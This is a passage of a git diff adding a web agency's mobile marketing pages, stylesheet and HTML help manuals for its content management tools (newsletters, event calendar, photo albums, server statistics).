+       var w = window.innerWidth || self.innerWidth || (de&&de.clientWidth) || document.body.clientWidth;
+       var h = window.innerHeight || self.innerHeight || (de&&de.clientHeight) || document.body.clientHeight
+       arrayPageSize = new Array(w,h) 
+       return arrayPageSize;
+}
diff --git a/m/internet.html b/m/internet.html
new file mode 100755 (executable)
index 0000000..32ace0b
--- /dev/null
@@ -0,0 +1,28 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+       <title>Internet - Gaslight Media</title>
+       <meta http-equiv="content-type" content="text/html;charset=utf-8">
+       <meta name="viewport" content="width=device-width; initial-scale=1; maximum-scale=1; user-scalable=1;">
+       <meta name="apple-mobile-web-app-capable" content="yes">
+       <link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<body>
+       <div id="box">
+               <img src="logo.gif" width="250" height="63" alt="logo (2K)" id="logo">
+               <p class="c"><a href="tel:231-487-0692">Call 231-487-0692</a> for a FREE phone consultation.</p>
+               <h1>A Better Internet</h1>
+               <p>Gaslight Media can provide a Better Internet for your business or organization.</p>
+               <p>
+       We offer the following Internet services:
+<ul>
+       <li>DSL and Cable Internet</li>
+       <li>Wireless services, professionally engineered and secured</li>
+       <li>Co-Location Facility</li>
+       <li>Local Web site hosting and email services</li>
+</ul>
+               <p class="c">To schedule a professional consultation, call <a href="tel:231-487-0692">231-487-0692</a> or send us an email <a href="mailto:info@gaslightmedia.com">info@gaslightmedia.com</a></p>
+       </div>
+</body>
+</html>
diff --git a/m/logo.gif b/m/logo.gif
new file mode 100755 (executable)
index 0000000..955818c
Binary files /dev/null and b/m/logo.gif differ
diff --git a/m/network.html b/m/network.html
new file mode 100755 (executable)
index 0000000..5830cbb
--- /dev/null
@@ -0,0 +1,146 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+       <title>Network - Gaslight Media</title>
+       <meta http-equiv="content-type" content="text/html;charset=utf-8">
+       <meta name="viewport" content="width=device-width; initial-scale=1; maximum-scale=1; user-scalable=1;">
+       <meta name="apple-mobile-web-app-capable" content="yes">
+       <link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<body>
+       <div id="box">
+               <img src="logo.gif" width="250" height="63" alt="logo (2K)" id="logo">
+               <p class="c"><a href="tel:231-487-0692">Call 231-487-0692</a> for a FREE phone consultation.</p>
+               <h1>Network Engineering &amp; Consulting</h1>
+               <p>Gaslight Media provides both onsite technical support, and remote monitoring of managed services.</p>
+<p class="u">Network Engineering and Installation</p>
+<ul>
+
+       <li>
+
+               WAN and campus network design, implementation, and management</li>
+
+       <li>
+
+               Community and public/private wireless and fiber network development and consulting</li>
+
+       <li>
+
+               Campus, office, hotel, marina, condo, and apartment wired/wireless networks</li>
+
+</ul>
+
+<p class="u">Wide Area Services</p>
+
+<ul>
+
+       <li>
+
+               VPN setup and management</li>
+
+       <li>
+
+               Video/audio conference systems management</li>
+
+       <li>
+
+               Temporary remote site Internet services</li>
+
+       <li>
+
+               Remote monitoring and control</li>
+
+</ul>
+<p class="u">Internet/IP Bandwidth Management</p>
+
+<ul>
+
+       <li>
+
+               Critical traffic prioritization</li>
+
+       <li>
+
+               User bandwidth consumption control</li>
+
+       <li>
+
+               IP/VoIP phone service prioritization and quality control</li>
+
+       <li>
+
+               Router/switch configuration and management</li>
+
+       <li>
+
+               Incoming/outgoing load balancing &amp; fail-over</li>
+
+</ul>
+
+<p class="u">Reliability/Redundancy</p>
+
+<ul>
+
+       <li>
+
+               Redundant connectivity setup and management</li>
+
+       <li>
+
+               Management and consolidation of multiple Internet connections (fiber, cable, wireless, dsl)</li>
+
+       <li>
+
+               Registered address space application and management for redundant connectivity</li>
+
+       <li>
+
+               Advanced routing configurations (BGP)</li>
+
+</ul>
+
+<p class="u">Internet network security</p>
+
+<ul>
+
+       <li>
+
+               Firewall management</li>
+
+       <li>
+
+               Intrusion detection and reporting</li>
+
+       <li>
+
+               Server security audits and active security management</li>
+
+</ul>
+
+<p class="u">Internet user infringement management</p>
+
+<ul>
+
+       <li>
+
+               Intellectual property rights infringements</li>
+
+       <li>
+
+               Unauthorized file and data sharing</li>
+
+       <li>
+
+               Infringement complaint investigations and resolution</li>
+
+       <li>
+
+               Firewall protections to prevent common violations</li>
+
+</ul>
+
+               <p class="c">To schedule a professional consultation, call <a href="tel:231-487-0692">231-487-0692</a> or send us an email <a href="mailto:info@gaslightmedia.com">info@gaslightmedia.com</a></p>
+       </div>
+</body>
+</html>
diff --git a/m/quicksite.html b/m/quicksite.html
new file mode 100755 (executable)
index 0000000..b0de92d
--- /dev/null
@@ -0,0 +1,44 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+       <title>Quicksite - Gaslight Media</title>
+       <meta http-equiv="content-type" content="text/html;charset=utf-8">
+       <meta name="viewport" content="width=device-width; initial-scale=1; maximum-scale=1; user-scalable=1;">
+       <meta name="apple-mobile-web-app-capable" content="yes">
+       <link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<body>
+       <div id="box">
+               <img src="logo.gif" width="250" height="63" alt="logo (2K)" id="logo">
+               <p class="c"><a href="tel:231-487-0692">Call 231-487-0692</a> to get started today!</p>
+               <h1>GLM Quick Sites<br>As easy as 1 - 2 - 3!</h1>
+               <p><b>1. Professional Design</b>
+               <ul>
+                       <li>Custom Web site appeal, without the price tag! </li>
+                       <li>A unique Web site tailored to your brand </li>
+               
+               </ul>
+               </p>
+               <p><b>2. Add Content</b>
+               <ul>
+                       <li>Use the GLM Toolbox Content Management System for easy updates</li>
+                       <li>Create unlimited pages</li>
+                       <li>Add unlimited pictures and documents</li>
+               </ul>
+               </p>
+               <p><b>3. Go Live</b>
+               <ul>
+                       <li>Locally hosted</li>
+                       <li>Detailed statistics to your site</li>
+                       <li>Domain registration and management</li>
+                       <li>5 email accounts</li>
+               </ul>
+               </p>
+               <p class="u">GLM Quick Site Package Starts at $680</u>
+               <p>Getting your business or organization on the Web has never been easier!</p>
+<p class="c">Call <a 
+href="tel:231-487-0692">231-487-0692</a> or send us an email <a href="mailto:info@gaslightmedia.com">info@gaslightmedia.com</a> for more information.</p>
+       </div>
+</body>
+</html>
diff --git a/m/styles.css b/m/styles.css
new file mode 100755 (executable)
index 0000000..62dfff3
--- /dev/null
@@ -0,0 +1,49 @@
+html {
+       }
+body {
+       background: #d97330;
+       font-size: 15px;
+       font-family: arial, sans-serif;
+       margin: 0;
+       padding: 0;
+       }
+#box {
+       background: #fff;
+       margin: 10px;
+       padding: 10px 0;
+       text-align: center;
+       }
+/* alignment */
+h1, h2 {
+       font-size: 1.4em;
+       text-align: left;
+       margin-left: 20px;
+       margin-right: 20px;
+       }
+p {
+       text-align: left;
+       margin-left: 20px;
+       margin-right: 20px;
+       }
+p.c {
+       text-align: center;
+       }
+p.u {
+       font-weight: bold;
+       margin-bottom: 0.5em;
+       font-size: 1.2em;
+       }
+a {
+       font-weight: bold;
+       font-size: 1.4em;
+       display: block;
+       }
+img {
+       border: 0;
+       }
+ul  {
+       margin-top: 0.5em;
+       }
+ul, li {
+       text-align: left;
+       }
diff --git a/m/wireless.html b/m/wireless.html
new file mode 100755 (executable)
index 0000000..af2adc2
--- /dev/null
@@ -0,0 +1,28 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+       <title>Wireless - Gaslight Media</title>
+       <meta http-equiv="content-type" content="text/html;charset=utf-8">
+       <meta name="viewport" content="width=device-width; initial-scale=1; maximum-scale=1; user-scalable=1;">
+       <meta name="apple-mobile-web-app-capable" content="yes">
+       <link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<body>
+       <div id="box">
+               <img src="logo.gif" width="250" height="63" alt="logo (2K)" id="logo">
+               <p class="c"><a href="tel:231-487-0692">Call 231-487-0692</a> for a FREE phone consultation.</p>
+               <h1>Wireless That Works</h1>
+               <p>Gaslight Media provides professionally engineered designs and installation services delivering unprecedented performance and reliability. We provide inter-office/campus-wide networking services for:</p>
+               <ul>
+                       <li>Public WiFi</li>
+                       <li>Office Environments</li>
+                       <li>Hotels &amp; Resorts</li>
+                       <li>Condo &amp; Apartment Complexes</li>
+                       <li>Marinas &amp; Parks</li>
+                       <li>Home Owner Associations</li>
+               </ul>
+               <p class="c">To schedule a professional consultation, call <a href="tel:231-487-0692">231-487-0692</a> or send us an email <a href="mailto:info@gaslightmedia.com">info@gaslightmedia.com</a></p>
+       </div>
+</body>
+</html>
diff --git a/manuals/html/E-Newsletter_1.0.html b/manuals/html/E-Newsletter_1.0.html
new file mode 100644 (file)
index 0000000..ccc927f
--- /dev/null
@@ -0,0 +1,168 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<HTML>
+<HEAD>
+       <META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=windows-1252">
+       <TITLE>Retail Newsletter</TITLE>
+       <META NAME="GENERATOR" CONTENT="OpenOffice.org 1.1.1  (Win32)">
+       <META NAME="AUTHOR" CONTENT="Eric Greenwald">
+       <META NAME="CREATED" CONTENT="20030611;14390000">
+       <META NAME="CHANGEDBY" CONTENT="Ove Klykken">
+       <META NAME="CHANGED" CONTENT="20040617;15443926">
+       <STYLE>
+       <!--
+               @page { size: 8.5in 11in; margin-right: 1.25in; margin-top: 1in; margin-bottom: 1in }
+               P { margin-bottom: 0.08in; direction: ltr; color: #000000; widows: 2; orphans: 2 }
+               P.western { font-family: "Times New Roman", serif; font-size: 12pt; so-language: en-US }
+               P.cjk { font-family: "Times New Roman", serif; font-size: 12pt }
+               P.ctl { font-family: "Times New Roman", serif; font-size: 12pt; so-language: ar-SA }
+               H1 { margin-top: 0in; margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; direction: ltr; color: #ff0000; widows: 2; orphans: 2 }
+               H1.western { font-family: "Arial", sans-serif; font-size: 20pt; so-language: en-US }
+               H1.cjk { font-family: "Times New Roman", serif; font-size: 20pt }
+               H1.ctl { font-family: "Arial", sans-serif; font-size: 20pt; so-language: ar-SA; font-weight: medium }
+       -->
+       </STYLE>
+</HEAD>
+<BODY LANG="en-US" TEXT="#000000" DIR="LTR">
+<H1 CLASS="western"><FONT COLOR="#808080">Newsletter</FONT></H1>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">The
+newsletter is a great way to send newsletters and press releases to
+your contact database (contacts). This can be useful if you wish to
+announce something new about your business.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>ADD
+A NEWSLETTER</FONT></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Add item</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><A NAME="OLE_LINK4"></A>
+<FONT SIZE=2><FONT FACE="Arial, sans-serif">Click &ldquo;<B>Newsletter</B>&rdquo;
+on the top menu. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you might see some past newsletters, above them are four options.
+Click <B>&ldquo;Add an item</B>&rdquo; from those options.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Newsletter information</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see boxes that you can type text into.<I> </I></FONT></FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in">&#9679; <FONT SIZE=2><FONT FACE="Arial, sans-serif">Title:
+Type the title for the newsletter.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in">&#9679; <FONT FACE="Arial, sans-serif"><FONT SIZE=2>Header:
+Type a more descriptive title.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in">&#9679; <FONT FACE="Arial, sans-serif"><FONT SIZE=2>Category:
+This should be &ldquo;Announcements&rdquo; or if you have created a
+special category for newsletters choose it.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in">&#9679; <FONT FACE="Arial, sans-serif"><FONT SIZE=2>Release
+Date: Choose the date that this newsletter will be released.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in">&#9679; <FONT SIZE=2><FONT FACE="Arial, sans-serif">Description:
+Type the body of the newsletter in this box.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in">&#9679; <FONT SIZE=2><FONT FACE="Arial, sans-serif">New
+Image: You have the option to add one image related to the
+newsletter. When you click the browse button, it will open a file
+window that allows you to browse your computer and choose an image
+file to add. Choose the image then click <B>&ldquo;Open&rdquo;</B>. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>**
+Rules of thumb for uploading images:</FONT></FONT></P>
+<UL>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>The
+       only image types that will work on the Web are .GIF and .JPG saved
+       as RGB color values.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">These
+       image files should be no greater than 600 Pixels wide.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>The
+       resolution should be no greater than 72 dpi.</FONT></FONT></P>
+</UL>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+3: Insert</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Verify
+that all the information is correct and click the button at the
+bottom <BR>named &ldquo;<B>Insert</B>&rdquo;.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+4: Make it ready to use</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Once
+you have clicked &ldquo;<B>Insert</B>&rdquo; for your new newsletter
+it goes in the &ldquo;<B>Queued</B>&rdquo; section. This is for if
+you want to revise it or have someone look at it. When you&rsquo;re
+ready to use the newsletter click the option &ldquo;<B>Advance
+Queue</B>&rdquo;. This moved the newsletter from the &ldquo;<B>Queued</B>&rdquo;
+section to the &ldquo;<B>Current</B>&rdquo; section, meaning that it
+is ready to be sent. The old newsletters are placed in the &ldquo;<B>Archived</B>&rdquo;
+section. People can view the &ldquo;<B>Archived</B>&rdquo;
+newsletters simply by clicking a link on the newsletter webpage.  </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>SEND
+A NEWSLETTER</FONT></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Find People</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Click
+&ldquo;<B>Contacts</B>&rdquo; on the top menu. Next you will see a
+form with allows you to find a person.<I> </I>For example, you wanted
+to send the newsletter to everyone who wants to receive e-mail from
+your business. Under the heading &ldquo;<B>Search:</B>&rdquo; check
+the bullet &ldquo;<B>All</B>&rdquo; to the option &ldquo;<B>In
+Fields</B>&rdquo;. Next choose &ldquo;<B>True</B>&rdquo; from the
+pull down menu &ldquo;<B>Mail OK</B>&rdquo;. Under the heading
+&ldquo;<B>Output of Records</B>&rdquo; again choose &ldquo;<B>All</B>&rdquo;
+to the option &ldquo;<B>Output Fields</B>&rdquo;. This will search
+the entire database for people who would like e-mail and will display
+all their information.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in">&ldquo;<FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Mail
+OK&rdquo;</B> &ndash; When &ldquo;<B>Mail OK</B>&rdquo; is set to
+&ldquo;<B>True</B>&rdquo;, it will find all the people that would
+like to receive e-mail. When it is set to &ldquo;<B>False</B>&rdquo;,
+it will find all the people who do not like to receive e-mail.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Send the Newsletter</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Verify
+that all the selections are the same as above and click the button at
+the top named &ldquo;<B>Submit Query</B>&rdquo;. Next you will see a
+summary of what we want. Click &ldquo;<B>Send Query</B>&rdquo; Next
+you will see the entire list of people who would like to receive our
+e-mail. At the top of the list click the button named &ldquo;<B>Mail
+Out the Newsletter</B>&rdquo;. You then will get a confirmation
+question asking if you would like to mail out the newsletter. Click
+the button &ldquo;<B>OK</B>&rdquo; and the newsletter will be <BR>sent
+out.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">NOTE:
+This did not actually send the newsletter to everyone; it sends them
+an e-mail with a link to your newsletter on your website. The e-mail
+is called &ldquo;<B>Auto Response</B>&rdquo; and can be edited under
+the &ldquo;<B>Newsletter</B>&rdquo; section. If a person decides that
+they do not want to receive anymore newsletters, they can remove
+themselves by clicking a link in this e-mail.</FONT></FONT></P>
+</BODY>
+</HTML>
\ No newline at end of file
diff --git a/manuals/html/EventCalendar_1.0.html b/manuals/html/EventCalendar_1.0.html
new file mode 100644 (file)
index 0000000..efb77d3
--- /dev/null
@@ -0,0 +1,77 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" 
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+  <head>
+       <title>Event Calendar</title>
+       <meta http-equiv="content-type" content="text/html; charset=utf-8">
+       <style type="text/css">
+               body {font-family: "Arial", sans-serif;font-size: 10pt; width:550px;margin:5px; }
+               ol {margin:0;}
+               dt { margin:0;font-size:14px;font-weight:bold; }
+       </style>
+  </head>
+  <body>
+       <h1>Event Calendar Help Guide</h1>
+       <div id="add-edit-event">
+               <h2>Adding / Modifying Event Records</h2>
+               <ol>
+                 <li>
+                       <dl>
+                         <dt>Add an Event</dt>
+                         <dd>
+                         <p>
+                         Click on the &quot;Create New Event&quot; Button on the top of the page.
+                         </p>
+                         <img src="images/event-top-links.png" alt="add edit event">
+                         <p>
+                         Fill in all your event details like header,a short descriptive title of your event, start date and time and the end date and time and descriptions,the location, contact, webaddress (url), phone conact for this event. 
+                         </p>
+                         <p>
+                         If your event recurs on a regular bases you can click the checkbox for Recurring event.
+                         </p>
+                         <img src="images/event-recur.png" alt="recurring event">
+                         <p>
+                         You can then set up the event to appear on a daily, weekly, or monthly recurring schedule.
+                         </p>
+                         </dd>
+                   </dl>
+                 </li>
+                 <li>
+                   <dl>
+                         <dt>Modify an Event</dt>
+                         <dd>
+                         <img src="images/edit-delete-event.png" alt="edit event">
+                         <p>
+                         To go back and edit an event just click on the &quot;Edit&quot; link on the event listing page.
+                         </p>
+                         </dd>
+                   </dl>
+                 </li>
+               </ol>
+       </div>
+       <div id="delete-event">
+               <h2>Removing an Event</h2>
+                 <img src="images/edit-delete-event.png" alt="delete event">
+                 <p>
+                 To permantatly remove an event from your calendar click on &quot;Delete&quot; on the list event page.  A confirmation box will come up and ask if your are sure you want to delete this event answer OK and it will be gone.            
+                 </p>
+       </div>
+       <div id="search-event">
+               <h2>Searching For an Event</h2>
+                 <img src="images/search-event.png" alt="delete event">
+                 <p>
+                 If your looking for an event and you can search by the name of the event or by the date range is would be in using the search fields on the top of thi list events page.
+                 </p>
+                 <p>
+                 There's even two short cut links for search any pending listing or past event.
+                 </p>
+       </div>
+       <div id="topic-event">
+         <h2>Edit Event Topics</h2>
+                 <img src="images/topic-event.png" alt="delete event">
+                 <p>
+                 To edit a name of a topic or change what color is used on the front end you can click on the &quot;Edit Topic&quot; link on the top of the list event page and use this form to delete or edit the topic name or color. Clicking on the colored box next to a topic name will open a color selector in which you'll be able to choose a new color for this topic. New topics can be added also using the top of the form.
+                 </p>
+       </div>
+  </body>
+</html>
diff --git a/manuals/html/PhotoGallery_1.0.html b/manuals/html/PhotoGallery_1.0.html
new file mode 100644 (file)
index 0000000..ccb465e
--- /dev/null
@@ -0,0 +1,38 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" 
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+  <head>
+       <title>Photo Album</title>
+       <meta http-equiv="content-type" content="text/html; charset=utf-8">
+       <style type="text/css">
+               body {font-family: "Arial", sans-serif;font-size: 10pt; width:550px;margin:5px; }
+               ol {margin:0;}
+               dt { margin:0;font-size:14px;font-weight:bold; }
+       </style>
+  </head>
+  <body>
+       <h1>Photo Album Help Guide</h1>
+       <div id="list-album">
+               <h2>List View Album</h2>
+               <img src="images/album-list.png" alt="album list">
+               <p>You can see how many albums you have from this page.</p>
+       </div>
+       <div id="add-edit-album">
+               <h2>Adding / Modifying / Deleting an Album</h2>
+               <img src="images/photo-album-edit.png" alt="album list">
+               <p>Click on the &quot;Add A New Album&quot; or &quot;Edit&quot;. Use the &quot;Insert&quot; or &quot;Update&quot; to save your changes. &quot;Cancel&quot; button to back out of this page. Links to create or modify an existing album.  If you wanting to remove one go to the edit page and click on &quot;Delete&quot;</p>
+               <p>You can choose to which Toolbox&trade; page the photo album will display by selecting the appropriate Toolbox&trade; page from the drop down list provided.
+               </p>
+       </div>
+       <div id="list-photos">
+               <h2>List View Photos</h2>
+               <img src="images/photo-list.png" alt="photo list">
+               <p>You can see how many Photos you have in this album.</p>
+       </div>
+       <div id="add-edit-photo">
+               <h2>Adding / Modifying / Deleting a Photo</h2>
+               <img src="images/photo-edit.png" alt="album list">
+               <p>Click on the &quot;Add A New Photo&quot; or &quot;Edit&quot;. Use the &quot;Insert&quot; or &quot;Update&quot; to save your changes. &quot;Cancel&quot; button to back out of this page. If you wanting to remove one go to the edit page and click on &quot;Delete&quot;</p>
+       </div>
+  </body>
+</html>
diff --git a/manuals/html/ServerStatistics_1.0.html b/manuals/html/ServerStatistics_1.0.html
new file mode 100644 (file)
index 0000000..d37bb54
--- /dev/null
@@ -0,0 +1,171 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<HTML>
+<HEAD>
+       <META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=windows-1252">
+       <TITLE>Server Statistics</TITLE>
+       <META NAME="GENERATOR" CONTENT="OpenOffice.org 1.1.1  (Win32)">
+       <META NAME="AUTHOR" CONTENT="Catherine">
+       <META NAME="CREATED" CONTENT="20031027;11140000">
+       <META NAME="CHANGEDBY" CONTENT="Ove Klykken">
+       <META NAME="CHANGED" CONTENT="20040617;15433511">
+       <STYLE>
+       <!--
+               @page { size: 8.5in 11in; margin-right: 1.25in; margin-top: 0.5in; margin-bottom: 1in }
+               P { margin-right: 0.5in; margin-bottom: 0.08in; direction: ltr; color: #000000; line-height: 125%; widows: 2; orphans: 2 }
+               P.western { font-family: "Arial", sans-serif; font-size: 9pt; so-language: en-US }
+               P.cjk { font-family: "Times New Roman", serif; font-size: 9pt }
+               P.ctl { font-family: "Times New Roman", serif; font-size: 10pt; so-language: ar-SA }
+               A:link { color: #0000ff }
+       -->
+       </STYLE>
+</HEAD>
+<BODY LANG="en-US" TEXT="#000000" LINK="#0000ff" DIR="LTR">
+<DIV TYPE=HEADER>
+       <P ALIGN=RIGHT STYLE="margin-right: 0in; margin-bottom: 0in; line-height: 100%">
+       <FONT FACE="Times New Roman, serif"><FONT SIZE=3><FONT SIZE=2>SERVER
+       STATISTICS |<B> <SDFIELD TYPE=PAGE SUBTYPE=RANDOM FORMAT=PAGE>2</SDFIELD></B></FONT></FONT></FONT></P>
+       <P CLASS="western" ALIGN=RIGHT STYLE="margin-bottom: 0in"><FONT SIZE=1 STYLE="font-size: 8pt"><B>How
+       Many Visitors Have Visited the Website; How Visitors Got to the
+       Website</B></FONT></P>
+       <P STYLE="margin-right: 0in; margin-bottom: 0.3in; line-height: 100%">
+       <BR>
+       </P>
+</DIV>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in">
+<FONT COLOR="#808080"><FONT SIZE=5 STYLE="font-size: 20pt"><B>Server
+Statistics</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2>Server
+statistics allows you to see how popular your Web site is. You can
+view how many people are visiting your site and where they are coming
+from and what they are typing in the search engines to get to your
+Web site. The following is a general description on how to interpret
+the data recorded on<BR>the server.</FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><IMG SRC="ServerStatistics_1.0_html_717383bd.jpg" NAME="Graphic1" ALIGN=BOTTOM WIDTH=263 HEIGHT=99 BORDER=0><FONT SIZE=2><BR></FONT><B><I><FONT SIZE=1 STYLE="font-size: 8pt">Figure
+16</FONT></I></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><IMG SRC="ServerStatistics_1.0_html_m45668104.jpg" NAME="Graphic2" ALIGN=BOTTOM WIDTH=264 HEIGHT=120 BORDER=0></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=1 STYLE="font-size: 8pt"><I><B>Figure
+17</B></I></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT SIZE=2>HOW MANY
+VISITORS HAVE VISITED THE WEB SITE</FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><B>Getting
+to Your Statistics</B></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><B><FONT SIZE=1 STYLE="font-size: 5pt"><FONT COLOR="#ffffff">.</FONT></FONT><FONT SIZE=2><BR></FONT></B><FONT SIZE=2>If
+you do not have an administration area, go<B> </B>to:
+www.yourdomain.com/admin/logs/. Here you will be prompted to enter a
+user name and password. Next you will see two graphs with server
+statistics. <I>See Figure 16, 17.</I></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><B>Interpreting
+the Numbers</B></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><B><FONT SIZE=1 STYLE="font-size: 5pt"><FONT COLOR="#ffffff">.</FONT></FONT><FONT SIZE=2><BR></FONT></B><FONT SIZE=2>The
+numbers that are the most accurate in terms of actual people coming
+in and leaving your site will be found in the &ldquo;<B>Visits</B>&rdquo;.
+<B><I>Don&rsquo;t be mislead! </I></B>Many people think that &ldquo;<B>hits</B>&rdquo;
